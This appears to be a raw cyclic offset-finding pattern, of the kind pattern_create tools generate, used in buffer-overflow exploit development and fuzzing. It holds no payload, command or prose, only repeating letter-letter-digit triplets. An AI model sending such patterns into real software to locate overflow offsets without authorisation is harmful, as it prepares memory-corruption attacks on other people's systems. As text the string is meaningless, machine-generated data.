"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2Mv3Mv4Mv5Mv6Mv7Mv8Mv9Mw0Mw1Mw2Mw3Mw4Mw5Mw6Mw7Mw8Mw9Mx0Mx1Mx2Mx3Mx4Mx5Mx6Mx7Mx8Mx9My0My1My2My3My4My5My6My7My8My9Mz0Mz1Mz2Mz3Mz4Mz5Mz6Mz7Mz8Mz9Na0Na1Na2Na3Na4Na5Na6Na7Na8Na9Nb0Nb1Nb2Nb3Nb4Nb5Nb6Nb7Nb8Nb9Nc0Nc1Nc2Nc3Nc4Nc5Nc6Nc7Nc8Nc9Nd0Nd1Nd2Nd3Nd4Nd5Nd6Nd7Nd8Nd9Ne0Ne1Ne2Ne3Ne4Ne5Ne6Ne7Ne8Ne9Nf0Nf1Nf2Nf3Nf4Nf5Nf6Nf7Nf8Nf9Ng0Ng1Ng2Ng3Ng4Ng5Ng6Ng7Ng8Ng9Nh0Nh1Nh2Nh3Nh4Nh5Nh6Nh7Nh8Nh9Ni0Ni1Ni2Ni3Ni4Ni5Ni6Ni7Ni8Ni9Nj0Nj1Nj2Nj3Nj4Nj5Nj6Nj7Nj8Nj9Nk0Nk1Nk2Nk3Nk4Nk5Nk6Nk7Nk8Nk9Nl0Nl1Nl2Nl3Nl4Nl5Nl6Nl7Nl8Nl9Nm0Nm1Nm2Nm3Nm4Nm5Nm6Nm7Nm8Nm9Nn0Nn1Nn2Nn3Nn4Nn5Nn6Nn7Nn8Nn9No0No1No2No3No4No5No6No7No8No9Np0Np1Np2Np3Np4Np5Np6Np7Np8Np9Nq0Nq1Nq2Nq3Nq4Nq5Nq6Nq7Nq8Nq9Nr0Nr1Nr2Nr3Nr4Nr5Nr6Nr7Nr8Nr9Ns0Ns1Ns2Ns3Ns4Ns5Ns6Ns7Ns8Ns9Nt0Nt1Nt2Nt3Nt4Nt5Nt6Nt7Nt8Nt9Nu0Nu1Nu2Nu3Nu4Nu5Nu6Nu7Nu8Nu9Nv0Nv1Nv2Nv3Nv4Nv5Nv6Nv7Nv8Nv9Nw0Nw1Nw2Nw3Nw4Nw5Nw6Nw7Nw8Nw9Nx0Nx1Nx2Nx3Nx4Nx5Nx6Nx7Nx8Nx9Ny0Ny1Ny2Ny3Ny4Ny5Ny6Ny7Ny8Ny9Nz0Nz1Nz2Nz3Nz4Nz5Nz6Nz7Nz8Nz9Oa0Oa1Oa2Oa3Oa4Oa5Oa6Oa7Oa8Oa9Ob0Ob1Ob2Ob3Ob4Ob5Ob6Ob7Ob8Ob9Oc0Oc1Oc2Oc3Oc4Oc5Oc6Oc7Oc8Oc9Od0Od1Od2Od3Od4Od5Od6Od7Od8Od9Oe0Oe1Oe2Oe3Oe4Oe5Oe6Oe7Oe8Oe9Of0Of1Of2Of3Of4Of5Of6Of7Of8Of9Og0Og1Og2Og3Og4Og5Og6Og7Og8Og9Oh0Oh1Oh2Oh3Oh4Oh5Oh6Oh7Oh8Oh9Oi0Oi1Oi2Oi3Oi4Oi5Oi6Oi7Oi8Oi9Oj0Oj1Oj2Oj3Oj4Oj5Oj6Oj7Oj8Oj9Ok0Ok1Ok2Ok3Ok4Ok5Ok6Ok7Ok8Ok9Ol0Ol1Ol2Ol3Ol4Ol5Ol6Ol7Ol8Ol9Om0Om1Om2Om3Om4Om5Om6Om7Om8Om9On0On1On2On3On4On5On6On7On8On9Oo0Oo1Oo2Oo3Oo4Oo5Oo6Oo7Oo8Oo9Op0Op1Op2Op3Op4Op5Op6Op7Op8Op9Oq0Oq1Oq2Oq3Oq4Oq5Oq6Oq7Oq8Oq9Or0Or1Or2Or3Or4Or5Or6Or7Or8Or9Os0Os1Os2Os3Os4Os5Os6Os7Os8Os9Ot0Ot1Ot2Ot3Ot4Ot5Ot6Ot7Ot8Ot9Ou0Ou1Ou2Ou3Ou4Ou5Ou6Ou7Ou8Ou9Ov0Ov1Ov2Ov3Ov4Ov5Ov6Ov7Ov8Ov9Ow0Ow1Ow2Ow3Ow4Ow5Ow6Ow7Ow8Ow9Ox0Ox1Ox2Ox3Ox4Ox5Ox6Ox7Ox8Ox9Oy0Oy1Oy2Oy3Oy4Oy5Oy6Oy7Oy8Oy9Oz0Oz1Oz2Oz3Oz4Oz5Oz6Oz7Oz8Oz9Pa0Pa1Pa2Pa3Pa4Pa5Pa6Pa7Pa8Pa9Pb0Pb1Pb2Pb3Pb4Pb5Pb6Pb7Pb8Pb9Pc0Pc1Pc2Pc3Pc4Pc5Pc6P